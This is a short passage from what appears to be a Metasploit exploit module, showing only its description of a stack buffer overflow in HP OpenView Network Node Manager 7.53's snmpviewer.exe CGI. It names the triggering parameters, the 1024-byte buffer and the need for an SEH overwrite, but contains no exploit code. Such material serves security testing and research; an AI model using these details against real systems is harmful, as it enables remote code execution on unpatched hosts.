  			'Description'=> %q{
  					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
  				prior to NNM_01203. By making a specially crafted HTTP request to the "snmpviewer.exe"
  				CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary
  				code.
  
  				The vulnerable code lies within the a function within "snmpviewer.exe" with a
  				timestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET
  				or POST request. The request must contain 'act' and 'app' parameters which, when
  				combined, total more than the 1024 byte stack buffer can hold.
  
  				It is important to note that this vulnerability must be exploited by overwriting SEH.
  				While the saved return address can be smashed, a function call that occurs before
  				the function returns calls "exit".
